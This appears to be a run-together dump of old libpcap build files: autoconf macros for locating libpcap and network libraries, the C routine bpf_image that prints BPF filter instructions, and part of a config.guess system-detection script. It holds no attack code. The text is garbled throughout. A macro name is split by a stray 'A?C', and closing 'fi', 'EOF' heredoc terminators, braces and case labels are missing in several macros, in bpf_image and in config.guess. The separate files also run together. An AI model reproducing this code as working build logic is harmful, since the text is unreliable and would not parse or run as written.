dnl   $1 (pcapdep set)
dnl   $2 (incls appended)
dnl   LIBS
dnl      LBL_LIBS
AC_DEFUN(AC_LBL_LIBPCAP,
    [AC_REQUIRE([AC_LBL_LIBRARY_NET])
    dnl
    dnl save a copy before locating libpcap.a
    dnl
    LBL_LIBS="$LIBS"
    pfopen=/usr/examples/packetfilter/pfopen.c
    if test -f $pfopen ; then
          AC_CHECK_FUNCS(pfopen)
          if test $ac_cv_func_pfopen = "no" ; then
                AC_MSG_RESULT(Using $pfopen)
                LIBS="$LIBS $pfopen"
          fi
    fi
    AC_MSG_CHECKING(for local pcap library)
    libpcap=FAIL
    lastdir=FAIL
    places=`ls .. | sed -e 's,/$,,' -e 's,^,../,' | \
      egrep '/libpcap-[[0-9]]*\.[[0-9]]*(\.[[0-9]]*)?([[ab]][[0-9]]*)?$'`
    for dir in $places ../libpcap libpcap ; do
          basedir=`echo $dir | sed -e 's/[[ab]][[0-9]]*$//'`
          if test $lastdir = $basedir ; then
                dnl skip alphas when an actual release is present
                continue;
          fi
          lastdir=$dir
          if test -r $dir/pcap.c ; then
                libpcap=$dir/libpcap.a
                d=$dir
                dnl continue and select the last one that exists
          fi
    done
    if test $libpcap = FAIL ; then
          AC_MSG_RESULT(not found)
          AC_CHECK_LIB(pcap, main, libpcap="-lpcap")
          if test $libpcap = FAIL ; then
                AC_MSG_ERROR(see the INSTALL doc for more info)
          fi
    else
          $1=$libpcap
          $2="-I$d $$2"
          AC_MSG_RESULT($libpcap)
    fi
    LIBS="$libpcap $LIBS"
    case "$target_os" in
    aix*)
          pseexe="/lib/pse.exp"
          AC_MSG_CHECKING(for $pseexe)
          if test -f $pseexe ; then
                AC_MSG_RESULT(yes)
                LIBS="$LIBS -I:$pseexe"
          fi
          ;;
    esac])
dnl Define RETSIGTYPE and RETSIGVAL
dnl usage:
dnl      AC_LBL_TYPE_SIGNAL
dnl results:
dnl      RETSIGTYPE (defined)
dnl      RETSIGVAL (defined)
AC_DEFUN(AC_LBL_TYPE_SIGNAL,
    [AC_BEFORE([$0], [AC_LBL_LIBPCAP])
    AC_TYPE_SIGNAL
    if test "$ac_cv_type_signal" = void ; then
          AC_DEFINE(RETSIGVAL,)
    else
          AC_DEFINE(RETSIGVAL,(0))
    fi
    case "$target_os" in
    irix*)
          AC_DEFINE(_BSD_SIGNALS)
          ;;
    *)
          dnl prefer sigset() to sigaction()
          AC_CHECK_FUNCS(sigset)
          if test $ac_cv_func_sigset = no ; then
                AC_CHECK_FUNCS(sigaction)
          fi
          ;;
    esac])
dnl If using gcc, make sure we have ANSI ioctl definitions
dnl usage:
dnl      AC_LBL_FIXINCLUDES
AC_DEFUN(AC_LBL_FIXINCLUDES,
    [if test "$GCC" = yes ; then
          AC_MSG_CHECKING(for ANSI ioctl definitions)
          AC_CACHE_VAL(ac_cv_lbl_gcc_fixincludes,
            AC_TRY_COMPILE(
                [/*
                 * This generates a "duplicate case value" when fixincludes
                 * has not be run.
                 */
#           include <sys/types.h>
#           include <sys/time.h>
#           include <sys/ioctl.h>
#           ifdef HAVE_SYS_IOCCOM_H
#           include <sys/ioccom.h>
#           endif],
                [switch (0) {
                case _IO('A', 1):;
                case _IO('B', 1):;
                }],
                ac_cv_lbl_gcc_fixincludes=yes,
                ac_cv_lbl_gcc_fixincludes=no))
          AC_MSG_RESULT($ac_cv_lbl_gcc_fixincludes)
          if test $ac_cv_lbl_gcc_fixincludes = no ; then
                # Don't cache failure
                unset ac_cv_lbl_gcc_fixincludes
                AC_MSG_ERROR(see the INSTALL for more info)
          fi
    fi])
dnl Check for flex, default to lex
dnl Require flex 2.4 or higher
dnl Check for bison, default to yacc
dnl Default to lex/yacc if both flex and bison are not available
dnl Define the yy prefix string if using flex and bison
dnl usage:
dnl      AC_LBL_LEX_AND_YACC(lex, yacc, yyprefix)
dnl results:
dnl   $1 (lex set)
dnl   $2 (yacc appended)
dnl   $3 (optional flex and bison -P prefix)
AC_DEFUN(AC_LBL_LEX_AND_YACC,
    [AC_ARG_WITH(flex, [  --without-flex          don't use flex])
    AC_ARG_WITH(bison, [  --without-bison         don't use bison])
    if test "$with_flex" = no ; then
          $1=lex
    else
          AC_CHECK_PROGS($1, flex, lex)
    fi
    if test "$$1" = flex ; then
          # The -V flag was added in 2.4
          AC_MSG_CHECKING(for flex 2.4 or higher)
          AC_CACHE_VAL(ac_cv_lbl_flex_v24,
            if flex -V >/dev/null 2>&1; then
                  ac_cv_lbl_flex_v24=yes
            else
                  ac_cv_lbl_flex_v24=no
            fi)
          AC_MSG_RESULT($ac_cv_lbl_flex_v24)
          if test $ac_cv_lbl_flex_v24 = no ; then
                s="2.4 or higher required"
                AC_MSG_WARN(ignoring obsolete flex executable ($s))
                $1=lex
          fi
    fi
    if test "$with_bison" = no ; then
          $2=yacc
    else
          AC_CHECK_PROGS($2, bison, yacc)
    fi
    if test "$$2" = bison ; then
          $2="$$2 -y"
    fi
    if test "$$1" != lex -a "$$2" = yacc -o "$$1" = lex -a "$$2" != yacc ; then
          AC_MSG_WARN(don't have both flex and bison; reverting to lex/yacc)
          $1=lex
          $2=yacc
    fi
    if test "$$1" = flex -a -n "$3" ; then
          $1="$$1 -P$3"
          $2="$$2 -p $3"
    fi])
dnl Checks to see if union wait is used with WEXITSTATUS()
dnl usage:
dnl      AC_LBL_UNION_WAIT
dnl results:
dnl      DECLWAITSTATUS (defined)
AC_DEFUN(AC_LBL_UNION_WAIT,
    [AC_MSG_CHECKING(if union wait is used)
    AC_CACHE_VAL(ac_cv_lbl_union_wait,
      AC_TRY_COMPILE([
#      include <sys/types.h>
#      include <sys/wait.h>],
          [int status;
          u_int i = WEXITSTATUS(status);
          u_int j = waitpid(0, &status, 0);],
          ac_cv_lbl_union_wait=no,
          ac_cv_lbl_union_wait=yes))
    AC_MSG_RESULT($ac_cv_lbl_union_wait)
    if test $ac_cv_lbl_union_wait = yes ; then
          AC_DEFINE(DECLWAITSTATUS,union wait)
    else
          AC_DEFINE(DECLWAITSTATUS,int)
    fi])
dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member
dnl usage:
dnl      AC_LBL_SOCKADDR_SA_LEN
dnl results:
dnl      HAVE_SOCKADDR_SA_LEN (defined)
AC_DEFUN(AC_LBL_SOCKADDR_SA_LEN,
    [AC_MSG_CHECKING(if sockaddr struct has sa_len member)
    AC_CACHE_VAL(ac_cv_lbl_sockaddr_has_sa_len,
      AC_TRY_COMPILE([
#      include <sys/types.h>
#      include <sys/socket.h>],
      [u_int i = sizeof(((struct sockaddr *)0)->sa_len)],
      ac_cv_lbl_sockaddr_has_sa_len=yes,
      ac_cv_lbl_sockaddr_has_sa_len=no))
    AC_MSG_RESULT($ac_cv_lbl_sockaddr_has_sa_len)
    if test $ac_cv_lbl_sockaddr_has_sa_len = yes ; then
          AC_DEFINE(HAVE_SOCKADDR_SA_LEN)
    fi])
dnl Checks to see if -R is used
dnl usage:
dnl      AC_LBL_HAVE_RUN_PATH
dnl results:
dnl      ac_cv_lbl_have_run_path (yes or no)
AC_DEFUN(AC_LBL_HAVE_RUN_PATH,
    [AC_MSG_CHECKING(for ${CC-cc} -R)
    AC_CACHE_VAL(ac_cv_lbl_have_run_path,
      [echo 'main(){}' > conftest.c
      ${CC-cc} -o conftest conftest.c -R/a1/b2/c3 >conftest.out 2>&1
      if test ! -s conftest.out ; then
            ac_cv_lbl_have_run_path=yes
      else
            ac_cv_lbl_have_run_path=no
      rm -f conftest*])
    AC_MSG_RESULT($ac_cv_lbl_have_run_path)
    ])
dnl Due to the stupid way it's implemented, AC_CHECK_TYPE is nearly useless.
dnl usage:
dnl      AC_LBL_CHECK_TYPE
dnl results:
dnl      int32_t (defined)
dnl      u_int32_t (defined)
AC_DEFUN(AC_LBL_CHECK_TYPE,
    [AC_MSG_CHECKING(for $1 using $CC)
    AC_CACHE_VAL(ac_cv_lbl_have_$1,
      AC_TRY_COMPILE([
#      include "confdefs.h"
#      include <sys/types.h>
#     if STDC_HEADERS
#      include <stdlib.h>
#      include <stddef.h>
#      endif],
      [$1 i],
      ac_cv_lbl_have_$1=yes,
      ac_cv_lbl_have_$1=no))
    AC_MSG_RESULT($ac_cv_lbl_have_$1)
    if test $ac_cv_lbl_have_$1 = no ; then
          AC_DEFINE($1, $2)
    fi])
dnl Checks to see if unaligned memory accesses fail
dnl usage:
dnl      AC_LBL_UNALIGNED_ACCESS
dnl results:
dnl      LBL_ALIGN (DEFINED)
AC_DEFUN(A?C
C_LBL_UNALIGNED_ACCESS,
    [AC_MSG_CHECKING(if unaligned accesses fail)
    AC_CACHE_VAL(ac_cv_lbl_unaligned_fail,
      [case "$target_cpu" in
      alpha|hp*|mips|sparc)
            ac_cv_lbl_unaligned_fail=yes
            ;;
            cat >conftest.c <<EOF
#           include <sys/types.h>
#           include <sys/wait.h>
#           include <stdio.h>
            unsigned char a[[5]] = { 1, 2, 3, 4, 5 };
            main() {
            unsigned int i;
            pid_t pid;
            int status;
            /* avoid "core dumped" message */
            pid = fork();
            if (pid <  0)
                  exit(2);
            if (pid > 0) {
                  /* parent */
                  pid = waitpid(pid, &status, 0);
                  if (pid < 0)
                        exit(3);
                  exit(!WIFEXITED(status));
            /* child */
            i = *(unsigned int *)&a[[1]];
            printf("%d\n", i);
            exit(0);
            ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
                conftest.c $LIBS >/dev/null 2>&1
            if test ! -x conftest ; then
                  dnl failed to compile for some reason
                  ac_cv_lbl_unaligned_fail=yes
            else
                  ./conftest >conftest.out
                  if test ! -s conftest.out ; then
                        ac_cv_lbl_unaligned_fail=yes
                  else
                        ac_cv_lbl_unaligned_fail=no
                  fi
            fi
            rm -f conftest* core core.conftest
            ;;
      esac])
    AC_MSG_RESULT($ac_cv_lbl_unaligned_fail)
    if test $ac_cv_lbl_unaligned_fail = yes ; then
          AC_DEFINE(LBL_ALIGN)
    fi])
dnl If using gcc and the file .devel exists:
dnl      Compile with -g (if supported) and -Wall
dnl   If using gcc 2, do extra prototype checking
dnl   If an os prototype include exists, symlink os-proto.h to it
dnl usage:
dnl      AC_LBL_DEVEL(copt)
dnl results:
dnl   $1 (copt appended)
dnl      HAVE_OS_PROTO_H (defined)
dnl   os-proto.h (symlinked)
AC_DEFUN(AC_LBL_DEVEL,
    [rm -f os-proto.h
    if test "${LBL_CFLAGS+set}" = set; then
          $1="$$1 ${LBL_CFLAGS}"
    fi
    if test -f .devel ; then
          if test "$GCC" = yes ; then
                if test "${LBL_CFLAGS+set}" != set; then
                      if test "$ac_cv_prog_cc_g" = yes ; then
                            $1="-g $$1"
                      fi
                      $1="$$1 -Wall"
                      if test $ac_cv_lbl_gcc_vers -gt 1 ; then
                            $1="$$1 -Wmissing-prototypes -Wstrict-prototypes"
                      fi
                fi
          else
                case "$target_os" in
                irix6*)
                      V_CCOPT="$V_CCOPT -n32"
                      ;;
                *)
                      ;;
                esac
          fi
          os=`echo $target_os | sed -e 's/\([[0-9]][[0-9]]*\)[[^0-9]].*$/\1/'`
          name="lbl/os-$os.h"
          if test -f $name ; then
                ln -s $name os-proto.h
                AC_DEFINE(HAVE_OS_PROTO_H)
          else
                AC_MSG_WARN(can't find $name)
          fi
    fi])
dnl Improved version of AC_CHECK_LIB
dnl Thanks to John Hawkinson (jhawk@mit.edu)
dnl usage:
dnl      AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [,
dnl       ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]])
dnl results:
dnl   LIBS
define(AC_LBL_CHECK_LIB,
[AC_MSG_CHECKING([for $2 in -l$1])
dnl Use a cache variable name containing both the library and function name,
dnl because the test really is for library $1 defining function $2, not
dnl just for library $1.  Separate tests with the same $1 and different $2's
dnl may have different results.
ac_lib_var=`echo $1['_']$2['_']$5 | sed 'y%./+- %__p__%'`
AC_CACHE_VAL(ac_cv_lbl_lib_$ac_lib_var,
[ac_save_LIBS="$LIBS"
LIBS="-l$1 $5 $LIBS"
AC_TRY_LINK(dnl
ifelse([$2], [main], , dnl Avoid conflicting decl of main.
[/* Override any gcc2 internal prototype to avoid an error.  */
]ifelse(AC_LANG, CPLUSPLUS, [#ifdef __cplusplus
extern "C"
#endif
])dnl
[/* We use char because int might match the return type of a gcc2
    builtin and then its argument prototype would still apply.  */
char $2();
          [$2()],
          eval "ac_cv_lbl_lib_$ac_lib_var=yes",
          eval "ac_cv_lbl_lib_$ac_lib_var=no")
LIBS="$ac_save_LIBS"
])dnl
if eval "test \"`echo '$ac_cv_lbl_lib_'$ac_lib_var`\" = yes"; then
  AC_MSG_RESULT(yes)
  ifelse([$3], ,
[changequote(, )dnl
  ac_tr_lib=HAVE_LIB`echo $1 | sed -e 's/[^a-zA-Z0-9_]/_/g' \
    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'`
changequote([, ])dnl
  AC_DEFINE_UNQUOTED($ac_tr_lib)
  LIBS="-l$1 $LIBS"
], [$3])
else
  AC_MSG_RESULT(no)
ifelse([$4], , , [$4
])dnl
dnl AC_LBL_LIBRARY_NET
dnl This test is for network applications that need socket() and
dnl gethostbyname() -ish functions.  Under Solaris, those applications
dnl need to link with "-lsocket -lnsl".  Under IRIX, they need to link
dnl with "-lnsl" but should *not* link with "-lsocket" because
dnl libsocket.a breaks a number of things (for instance:
dnl gethostbyname() under IRIX 5.2, and snoop sockets under most
dnl versions of IRIX).
dnl Unfortunately, many application developers are not aware of this,
dnl and mistakenly write tests that cause -lsocket to be used under
dnl IRIX.  It is also easy to write tests that cause -lnsl to be used
dnl under operating systems where neither are necessary (or useful),
dnl such as SunOS 4.1.4, which uses -lnsl for TLI.
dnl This test exists so that every application developer does not test
dnl this in a different, and subtly broken fashion.
dnl It has been argued that this test should be broken up into two
dnl seperate tests, one for the resolver libraries, and one for the
dnl libraries necessary for using Sockets API. Unfortunately, the two
dnl are carefully intertwined and allowing the autoconf user to use
dnl them independantly potentially results in unfortunate ordering
dnl dependancies -- as such, such component macros would have to
dnl carefully use indirection and be aware if the other components were
dnl executed. Since other autoconf macros do not go to this trouble,
dnl and almost no applications use sockets without the resolver, this
dnl complexity has not been implemented.
dnl The check for libresolv is in case you are attempting to link
dnl statically and happen to have a libresolv.a lying around (and no
dnl libnsl.a).
AC_DEFUN(AC_LBL_LIBRARY_NET, [
    # Most operating systems have gethostbyname() in the default searched
    # libraries (i.e. libc):
    AC_CHECK_FUNC(gethostbyname, ,
      # Some OSes (eg. Solaris) place it in libnsl:
      AC_LBL_CHECK_LIB(nsl, gethostbyname, ,
          # Some strange OSes (SINIX) have it in libsocket:
          AC_LBL_CHECK_LIB(socket, gethostbyname, ,
            # Unfortunately libsocket sometimes depends on libnsl.
            # AC_CHECK_LIB's API is essentially broken so the
            # following ugliness is necessary:
            AC_LBL_CHECK_LIB(socket, gethostbyname,
                LIBS="-lsocket -lnsl $LIBS",
                AC_CHECK_LIB(resolv, gethostbyname),
                -lnsl))))
    AC_CHECK_FUNC(socket, , AC_CHECK_LIB(socket, socket, ,
      AC_LBL_CHECK_LIB(socket, socket, LIBS="-lsocket -lnsl $LIBS", ,
          -lnsl)))
    # DLPI needs putmsg under HPUX so test for -lstr while we're at it
    AC_CHECK_LIB(str, putmsg)
    ])
 * Copyright (c) 1990, 1991, 1992, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: bpf_image.c,v 1.22 96/09/26 23:27:56 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
char *
bpf_image(p, n)
      struct bpf_insn *p;
      int n;
      int v;
      char *fmt, *op;
      static char image[256];
      char operand[64];
      v = p->k;
      switch (p->code) {
      default:
            op = "unimp";
            fmt = "0x%x";
            v = p->code;
            break;
      case BPF_RET|BPF_K:
            op = "ret";
            fmt = "#%d";
            break;
      case BPF_RET|BPF_A:
            op = "ret";
            fmt = "";
            break;
      case BPF_LD|BPF_W|BPF_ABS:
            op = "ld";
            fmt = "[%d]";
            break;
      case BPF_LD|BPF_H|BPF_ABS:
            op = "ldh";
            fmt = "[%d]";
            break;
      case BPF_LD|BPF_B|BPF_ABS:
            op = "ldb";
            fmt = "[%d]";
            break;
      case BPF_LD|BPF_W|BPF_LEN:
            op = "ld";
            fmt = "#pktlen";
            break;
      case BPF_LD|BPF_W|BPF_IND:
            op = "ld";
            fmt = "[x + %d]";
            break;
      case BPF_LD|BPF_H|BPF_IND:
            op = "ldh";
            fmt = "[x + %d]";
            break;
      case BPF_LD|BPF_B|BPF_IND:
            op = "ldb";
            fmt = "[x + %d]";
            break;
      case BPF_LD|BPF_IMM:
            op = "ld";
            fmt = "#0x%x";
            break;
      case BPF_LDX|BPF_IMM:
            op = "ldx";
            fmt = "#0x%x";
            break;
      case BPF_LDX|BPF_MSH|BPF_B:
            op = "ldxb";
            fmt = "4*([%d]&0xf)";
            break;
      case BPF_LD|BPF_MEM:
            op = "ld";
            fmt = "M[%d]";
            break;
      case BPF_LDX|BPF_MEM:
            op = "ldx";
            fmt = "M[%d]";
            break;
      case BPF_ST:
            op = "st";
            fmt = "M[%d]";
            break;
      case BPF_STX:
            op = "stx";
            fmt = "M[%d]";
            break;
      case BPF_JMP|BPF_JA:
            op = "ja";
            fmt = "%d";
            v = n + 1 + p->k;
            break;
      case BPF_JMP|BPF_JGT|BPF_K:
            op = "jgt";
            fmt = "#0x%x";
            break;
      case BPF_JMP|BPF_JGE|BPF_K:
            op = "jge";
            fmt = "#0x%x";
            break;
      case BPF_JMP|BPF_JEQ|BPF_K:
            op = "jeq";
            fmt = "#0x%x";
            break;
      case BPF_JMP|BPF_JSET|BPF_K:
            op = "jset";
            fmt = "#0x%x";
            break;
      case BPF_JMP|BPF_JGT|BPF_X:
            op = "jgt";
            fmt = "x";
            break;
      case BPF_JMP|BPF_JGE|BPF_X:
            op = "jge";
            fmt = "x";
            break;
      case BPF_JMP|BPF_JEQ|BPF_X:
            op = "jeq";
            fmt = "x";
            break;
      case BPF_JMP|BPF_JSET|BPF_X:
            op = "jset";
            fmt = "x";
            break;
      case BPF_ALU|BPF_ADD|BPF_X:
            op = "add";
            fmt = "x";
            break;
      case BPF_ALU|BPF_SUB|BPF_X:
            op = "sub";
            fmt = "x";
            break;
      case BPF_ALU|BPF_MUL|BPF_X:
            op = "mul";
            fmt = "x";
            break;
      case BPF_ALU|BPF_DIV|BPF_X:
            op = "div";
            fmt = "x";
            break;
      case BPF_ALU|BPF_AND|BPF_X:
            op = "and";
            fmt = "x";
            break;
      case BPF_ALU|BPF_OR|BPF_X:
            op = "or";
            fmt = "x";
            break;
      case BPF_ALU|BPF_LSH|BPF_X:
            op = "lsh";
            fmt = "x";
            break;
      case BPF_ALU|BPF_RSH|BPF_X:
            op = "rsh";
            fmt = "x";
            break;
      case BPF_ALU|BPF_ADD|BPF_K:
            op = "add";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_SUB|BPF_K:
            op = "sub";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_MUL|BPF_K:
            op = "mul";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_DIV|BPF_K:
            op = "div";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_AND|BPF_K:
            op = "and";
            fmt = "#0x%x";
            break;
      case BPF_ALU|BPF_OR|BPF_K:
            op = "or";
            fmt = "#0x%x";
            break;
      case BPF_ALU|BPF_LSH|BPF_K:
            op = "lsh";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_RSH|BPF_K:
            op = "rsh";
            fmt = "#%d";
            break;
      case BPF_ALU|BPF_NEG:
            op = "neg";
            fmt = "";
            break;
      case BPF_MISC|BPF_TAX:
            op = "tax";
            fmt = "";
            break;
      case BPF_MISC|BPF_TXA:
            op = "txa";
            fmt = "";
            break;
      (void)sprintf(operand, fmt, v);
      (void)sprintf(image,
                  (BPF_CLASS(p->code) == BPF_JMP &&
                   BPF_OP(p->code) != BPF_JA) ?
                  "(%03d) %-8s %-16s jt %d\tjf %d"
                  : "(%03d) %-8s %s",
                  n, op, operand, n + 1 + p->jt, n + 1 + p->jf);
      return image;
#! /bin/sh
# Attempt to guess a canonical system name.
#   Copyright (C) 1992, 93, 94, 95, 1996 Free Software Foundation, Inc.
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
# As a special exception to the GNU General Public License, if you
# distribute this file as part of a program that contains a
# configuration script generated by Autoconf, you may include it under
# the same distribution terms that you use for the rest of that program.
# Written by Per Bothner <bothner@cygnus.com>.
# The master version of this file is at the FSF in /home/gd/gnu/lib.
# This script attempts to guess a canonical system name similar to
# config.sub.  If it succeeds, it prints the system name on stdout, and
# exits with 0.  Otherwise, it exits with 1.
# The plan is that this can be called by configure scripts if you
# don't specify an explicit system type (host/target name).
# Only a few systems have been added to this list; please add others
# (but try to keep the structure clean).
# This is needed to find uname on a Pyramid OSx when run in the BSD universe.
# (ghazi@noc.rutgers.edu 8/24/94.)
if (test -f /.attbin/uname) >/dev/null 2>&1 ; then
      PATH=$PATH:/.attbin ; export PATH
UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown
UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown
UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
trap 'rm -f dummy.c dummy.o dummy; exit 1' 1 2 15
# Note: order is significant - the case branches are not exclusive.
case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
    alpha:OSF1:*:*)
      # A Vn.n version is a released version.
      # A Tn.n version is a released field test version.
      # A Xn.n version is an unreleased experimental baselevel.
      # 1.2 uses "1.2" for uname -r.
      echo alpha-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//'`
      exit 0 ;;
    21064:Windows_NT:50:3)
      echo alpha-dec-winnt3.5
      exit 0 ;;
    Amiga*:UNIX_System_V:4.0:*)
      echo m68k-cbm-sysv4
      exit 0;;
    amiga:NetBSD:*:*)
      echo m68k-cbm-netbsd${UNAME_RELEASE}
      exit 0 ;;
    amiga:OpenBSD:*:*)
      echo m68k-cbm-openbsd${UNAME_RELEASE}
      exit 0 ;;
    arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
      echo arm-acorn-riscix${UNAME_RELEASE}
      exit 0;;
    Pyramid*:OSx*:*:*|MIS*:OSx*:*:*)
      # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
      if test "`(/bin/universe) 2>/dev/null`" = att ; then
            echo pyramid-pyramid-sysv3
      else
            echo pyramid-pyramid-bsd
      exit 0 ;;
    NILE:*:*:dcosx)
      echo pyramid-pyramid-svr4
      exit 0 ;;
    sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
      echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
      exit 0 ;;
    i86pc:SunOS:5.*:*)
      echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
      exit 0 ;;
    sun4*:SunOS:6*:*)
      # According to config.sub, this is the proper way to canonicalize
      # SunOS6.  Hard to guess exactly what SunOS6 will be like, but
      # it's likely to be more like Solaris than SunOS4.
      echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
      exit 0 ;;
    sun4*:SunOS:*:*)
      case "`/usr/bin/arch -k`" in
          Series*|S4*)
            UNAME_RELEASE=`uname -v`
            ;;
      esac
      # Japanese Language versions have a version number like `4.1.3-JL'.
      echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
      exit 0 ;;
    sun3*:SunOS:*:*)
      echo m68k-sun-sunos${UNAME_RELEASE}
      exit 0 ;;
    aushp:SunOS:*:*)
      echo sparc-auspex-sunos${UNAME_RELEASE}
      exit 0 ;;
    atari*:NetBSD:*:*)
      echo m68k-atari-netbsd${UNAME_RELEASE}
      exit 0 ;;
    atari*:OpenBSD:*:*)
      echo m68k-atari-openbsd${UNAME_RELEASE}
      exit 0 ;;
    sun3*:NetBSD:*:*)
      echo m68k-sun-netbsd${UNAME_RELEASE}
      exit 0 ;;
    sun3*:OpenBSD:*:*)
      echo m68k-sun-openbsd${UNAME_RELEASE}
      exit 0 ;;
    mac68k:NetBSD:*:*)
      echo m68k-apple-netbsd${UNAME_RELEASE}
      exit 0 ;;
    mac68k:OpenBSD:*:*)
      echo m68k-apple-openbsd${UNAME_RELEASE}
      exit 0 ;;
    powerpc:machten:*:*)
      echo powerpc-apple-machten${UNAME_RELEASE}
      exit 0 ;;
    RISC*:Mach:*:*)
      echo mips-dec-mach_bsd4.3
      exit 0 ;;
    RISC*:ULTRIX:*:*)
      echo mips-dec-ultrix${UNAME_RELEASE}
      exit 0 ;;
    VAX*:ULTRIX*:*:*)
      echo vax-dec-ultrix${UNAME_RELEASE}
      exit 0 ;;
    mips:*:*:UMIPS | mips:*:*:RISCos)
      sed 's/^  //' << EOF >dummy.c
      int main (argc, argv) int argc; char **argv; {
      #if defined (host_mips) && defined (MIPSEB)
      #if defined (SYSTYPE_SYSV)
        printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0);
      #endif
      #if defined (SYSTYPE_SVR4)
        printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0);
      #endif
      #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD)
        printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0);
      #endif
      #endif
        exit (-1);
      ${CC-cc} dummy.c -o dummy \
        && ./dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \
        && rm dummy.c dummy && exit 0
      rm -f dummy.c dummy
      echo mips-mips-riscos${UNAME_RELEASE}
      exit 0 ;;
    Night_Hawk:Power_UNIX:*:*)
      echo powerpc-harris-powerunix
      exit 0 ;;
    m88k:CX/UX:7*:*)
      echo m88k-harris-cxux7
      exit 0 ;;
    m88k:*:4*:R4*)
      echo m88k-motorola-sysv4
      exit 0 ;;
    m88k:*:3*:R3*)
      echo m88k-motorola-sysv3
      exit 0 ;;
    AViiON:dgux:*:*)
        # DG/UX returns AViiON for all architectures
        UNAME_PROCESSOR=`/usr/bin/uname -p`
        if [ $UNAME_PROCESSOR = mc88100 -o $UNAME_PROCESSOR = mc88110 ] ; then
      if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx \
           -o ${TARGET_BINARY_INTERFACE}x = x ] ; then
            echo m88k-dg-dgux${UNAME_RELEASE}
      else
            echo m88k-dg-dguxbcs${UNAME_RELEASE}
        else echo i586-dg-dgux${UNAME_RELEASE}
        fi
      exit 0 ;;
    M88*:DolphinOS:*:*)      # DolphinOS (SVR3)
      echo m88k-dolphin-sysv3
      exit 0 ;;
    M88*:*:R3*:*)
      # Delta 88k system running SVR3
      echo m88k-motorola-sysv3
      exit 0 ;;
    XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
      echo m88k-tektronix-sysv3
      exit 0 ;;
    Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
      echo m68k-tektronix-bsd
      exit 0 ;;
    *:IRIX*:*:*)
      echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
      exit 0 ;;
    ????????:AIX?:[12].1:2)   # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
      echo romp-ibm-aix      # uname -m gives an 8 hex-code CPU id
      exit 0 ;;              # Note that: echo "'`uname -s`'" gives 'AIX '
    i?86:AIX:*:*)
      echo i386-ibm-aix
      exit 0 ;;
    *:AIX:2:3)
      if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
            sed 's/^        //' << EOF >dummy.c
            #include <sys/systemcfg.h>
            main()
                  {
                  if (!__power_pc())
                        exit(1);
                  puts("powerpc-ibm-aix3.2.5");
                  exit(0);
                  }
            ${CC-cc} dummy.c -o dummy && ./dummy && rm dummy.c dummy && exit 0
            rm -f dummy.c dummy
            echo rs6000-ibm-aix3.2.5
      elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
            echo rs6000-ibm-aix3.2.4
      else
            echo rs6000-ibm-aix3.2
      exit 0 ;;
